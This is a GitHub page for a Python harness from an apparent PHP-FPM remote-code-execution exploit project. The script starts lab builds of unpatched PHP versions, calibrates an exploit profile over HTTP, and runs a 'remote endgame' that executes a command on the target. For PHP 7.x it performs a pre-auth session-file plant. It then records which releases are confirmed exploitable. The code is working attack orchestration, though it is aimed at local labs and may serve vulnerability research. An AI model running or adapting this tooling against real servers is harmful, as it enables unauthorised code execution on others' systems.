Repository navigation
Expand file tree
/
Copy pathphp2shell_fpm_matrix.py
More file actions
176 lines (145 loc) · 7.02 KB
/
Copy pathphp2shell_fpm_matrix.py
File metadata and controls
176 lines (145 loc) · 7.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python3
"""php2shell_fpm_matrix.py — verify the remote chain on every unpatched build.
One lab at a time, so the ports never fight. For each version it starts the
lab, calibrates the profile over HTTP when it is not verified yet, and then
runs the 100%-remote endgame. The report says exactly which unpatched
releases RCE and which do not; patched releases are skipped.
python3 tools/php2shell_fpm_matrix.py # default matrix
python3 tools/php2shell_fpm_matrix.py 7.4.33 8.3.35 # just these
The default matrix is the newest unpatched release of every branch this
repository tracks (7.2, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4).
"""
from __future__ import annotations
import argparse
import contextlib
import json
import os
import subprocess
import sys
import time
HERE = os.path.dirname(os.path.abspath(__file__))
ROOT = os.path.dirname(HERE)
sys.path.insert(0, HERE)
import php2shell_fpm_labs as labs # noqa: E402
import php2shell_fpm_versions as registry # noqa: E402
CLIENT = os.path.join(HERE, "php2shell_fpm.py")
OUTDIR = os.path.join(labs.WEBROOT, "out")
# one representative per branch: the plant target (7.2) and the
# RCE-verified branches (7.4, 8.0, 8.1, 8.2, 8.3, 8.4). Any other list can be passed
# explicitly, e.g. every 8.4.x build.
DEFAULT_MATRIX = ("7.2.34", "7.4.33", "8.0.30", "8.1.33",
"8.2.34", "8.3.35", "8.4.0", "8.4.25", "8.4.26")
def run(cmd: list[str], timeout: int = 3000) -> subprocess.CompletedProcess:
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
def lab(version: str, command: str) -> subprocess.CompletedProcess:
return run([sys.executable, os.path.join(HERE, "php2shell_fpm_labs.py"),
command, "--only", version], timeout=400)
def profile_verified(version: str) -> bool:
path = os.path.join(ROOT, "profiles", f"{version}-fpm.json")
try:
with open(path, encoding="utf-8") as handle:
profile = json.load(handle)
except (OSError, ValueError):
return False
return bool(profile.get("verified") and profile.get("rce"))
def verify(version: str) -> tuple[str, str]:
"""Calibrate (if needed) and run the remote endgame for one version."""
if not os.path.isfile(labs.fpm_bin(version)):
return "NOT BUILT", ""
if not registry.is_vulnerable(version):
return "patched (skipped)", ""
source = os.path.join(ROOT, "lab", "fpm", "runtime", "src",
f"php-{version}")
uses_legacy_chain = (os.path.isdir(source)
and not registry.has_session_cancel_decode(source))
proof = f"matrix-{version.replace('.', '')}"
local = os.path.join(OUTDIR, proof)
with contextlib.suppress(OSError):
os.unlink(local)
lab(version, "down")
up = lab(version, "up")
if up.returncode != 0:
return "LAB FAILED", (up.stdout + up.stderr)[-160:]
chain, builder, _chain_fpm, _builder_fpm = labs.builds_map([version])[version]
base = f"http://127.0.0.1:{chain}"
builder_url = f"http://127.0.0.1:{builder}"
if uses_legacy_chain:
# PHP <= 7.x: the struct-freeing chain does not apply, but the
# upload-progress session-ID fixation does (see cmd_poison)
print(f"\n===== {version}: session-file plant (pre-auth) =====",
flush=True)
plant = f"matrix-{version.replace('.', '')}"
proc = run([sys.executable, CLIENT, "--version", version,
"--base", base, "--builder", builder_url, "poison",
"--sid", plant, "--payload",
f"PLANTED_{plant}"], timeout=600)
for line in (proc.stdout + proc.stderr).strip().splitlines()[-3:]:
print(" ", line, flush=True)
lab(version, "down")
ok = proc.returncode == 0
return (("SESSION PLANT" if ok else "plant failed"),
"pre-auth write into sess_<sid>" if ok else "")
if not profile_verified(version):
print(f"\n===== {version}: calibrating over HTTP =====", flush=True)
calib = run([sys.executable, CLIENT, "--version", version,
"--base", base, "--builder", builder_url, "calibrate"])
for line in (calib.stdout + calib.stderr).strip().splitlines()[-3:]:
print(" ", line, flush=True)
print(f"\n===== {version}: remote endgame =====", flush=True)
proc = run([sys.executable, CLIENT, "--version", version,
"--base", base, "--builder", builder_url,
"--command", f"id>out/{proof}", "--proof-file",
f"out/{proof}", "no-oracle"], timeout=1200)
for line in (proc.stdout + proc.stderr).strip().splitlines()[-3:]:
print(" ", line, flush=True)
ok = os.path.isfile(local) and os.path.getsize(local) > 0
text = ""
if ok:
with open(local, encoding="utf-8", errors="replace") as handle:
text = handle.read().strip()[:52]
lab(version, "down")
return ("REMOTE RCE" if ok else "no proof"), text
def _version_key(version: str) -> tuple[int, ...]:
try:
return tuple(int(part) for part in version.split("."))
except ValueError:
return (99,)
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__.splitlines()[0])
parser.add_argument("versions", nargs="*", default=list(DEFAULT_MATRIX),
help="versions to verify (default: the unpatched matrix)")
args = parser.parse_args()
os.makedirs(OUTDIR, exist_ok=True)
verification_path = os.path.join(ROOT, "docs", "calibration-logs",
"verification.json")
os.makedirs(os.path.dirname(verification_path), exist_ok=True)
results = []
for version in args.versions:
status, text = verify(version)
results.append((version, status, text))
print("\n===== unpatched matrix, 100% HTTP =====")
for version, status, text in results:
print(f" {version:9} {status:18} {text}")
# The verdicts land in the repository: the README coverage block and the
# consistency tests read them, so every published claim comes from an
# actual run instead of a hand-written sentence. Partial runs merge, so
# a later matrix does not erase earlier evidence.
record: dict[str, dict] = {}
if os.path.isfile(verification_path):
with open(verification_path, encoding="utf-8") as handle, contextlib.suppress(ValueError):
record = json.load(handle)
stamp = time.strftime("%Y-%m-%d")
for version, status, _text in results:
if status in ("REMOTE RCE", "SESSION PLANT"):
record[version] = {"result": status, "verified_at": stamp}
with open(verification_path, "w", encoding="utf-8") as handle:
json.dump(dict(sorted(record.items(),
key=lambda item: _version_key(item[0]))),
handle, indent=1)
handle.write("\n")
with open(os.path.join("/tmp", "php2shell-matrix.json"),
"w", encoding="utf-8") as handle:
json.dump(results, handle, indent=1)
return 0
if __name__ == "__main__":
sys.exit(main())